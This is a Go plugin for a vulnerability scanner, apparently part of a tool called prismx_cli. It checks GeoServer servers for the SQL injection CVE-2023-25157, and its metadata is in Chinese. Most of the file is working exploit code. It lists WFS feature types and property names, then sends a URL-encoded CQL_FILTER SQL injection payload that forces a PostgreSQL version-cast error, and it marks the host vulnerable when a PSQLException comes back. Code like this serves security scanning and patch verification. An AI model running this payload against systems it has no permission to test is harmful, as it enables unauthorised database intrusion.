package exploits

import (
	"encoding/json"
	"encoding/xml"
	"fmt"
	"net"
	"net/http"
	"prismx_cli/core/models"
	"prismx_cli/utils/netUtils"
	"strconv"
	"strings"
	"time"
)

// init 注册插件插件
func init() {
	type FeatureType struct {
		Name string `xml:"Name"`
	}

	type GetCapabilitiesResponse struct {
		XMLName      xml.Name      `xml:"WFS_Capabilities"`
		FeatureTypes []FeatureType `xml:"FeatureTypeList>FeatureType"`
	}

	type Feature struct {
		Properties map[string]interface{} `json:"properties"`
	}

	type GetFeatureResponse struct {
		Type     string    `json:"type"`
		Features []Feature `json:"features"`
	}

	models.Register(models.AppVulInfo{
		App:   "geoserver",
		Query: "app:\"geoserver\"",
		Meta: models.VulMeta{
			Name:        "CVE-2023-25157-GeoServer SQL 注入漏洞",
			Tags:        []string{"SQL Injection"},
			Author:      "一曲成殇",
			Description: "在2.22.1和2.21.4之前版本中，在开放地理空间联盟（OGC）标准定义的过滤器和函数表达式中发现了一个SQL注入问题，未经身份验证的攻击者可以利用该漏洞进行SQL注入，执行恶意代码。",
			Homepage:    "https://geoserver.org/",
			Level:       4,
			References:  "https://cloud.tencent.com/developer/article/2372408",
			Solution:    "根据影响版本中的信息，排查并升级到安全版本，或直接访问参考链接获取官方更新指南。",
			CreateAt:    "2024-2-04",
			Available:   false,
			Steps: models.StepsMeta{
				VerifySteps: models.VerifySteps{
					VerifyGo: func(scheme, ip string, port int, duration time.Duration) (result models.VulResult) {

						url := scheme + "://" + net.JoinHostPort(ip, strconv.Itoa(port))

						getCapabilities, _ := http.NewRequest("GET", url+"/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities", nil)
						resp, err := netUtils.SendHttp(getCapabilities, duration, false)
						if err != nil {
							result.Response = err.Error()
							result.Request = resp.RequestRaw
							return
						}

						var capabilities GetCapabilitiesResponse
						err = xml.Unmarshal(resp.Body, &capabilities)
						if err != nil {
							result.Response = err.Error()
							result.Request = resp.RequestRaw
							return
						}

						for _, name := range capabilities.FeatureTypes {
							featureUrl, _ := http.NewRequest("GET", fmt.Sprintf("%s/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=%s&maxFeatures=1&outputFormat=json", url, name.Name), nil)
							resp, err = netUtils.SendHttp(featureUrl, duration, false)
							if err != nil {
								result.Response = err.Error()
								result.Request = resp.RequestRaw
								return
							}

							var featureResp GetFeatureResponse

							if err = json.Unmarshal(resp.Body, &featureResp); err != nil {
								result.Response = err.Error()
								result.Request = resp.RequestRaw
								return
							}

							for key := range featureResp.Features[0].Properties {
								request, _ := http.NewRequest("GET", url+"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName="+name.Name+"&CQL_FILTER=strStartsWith%28"+key+"%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true", nil)
								resp, err = netUtils.SendHttp(request, duration, false)
								if err != nil {
									result.Response = err.Error()
									result.Request = resp.RequestRaw
									continue
								}
								if strings.Contains(string(resp.Body), "PSQLException") {
									result.State = true
									result.Response = resp.Header + string(resp.Body)
									result.Request = resp.RequestRaw
									return
								}
							}
						}
						return
					},
				},
			},
		},
	})
}
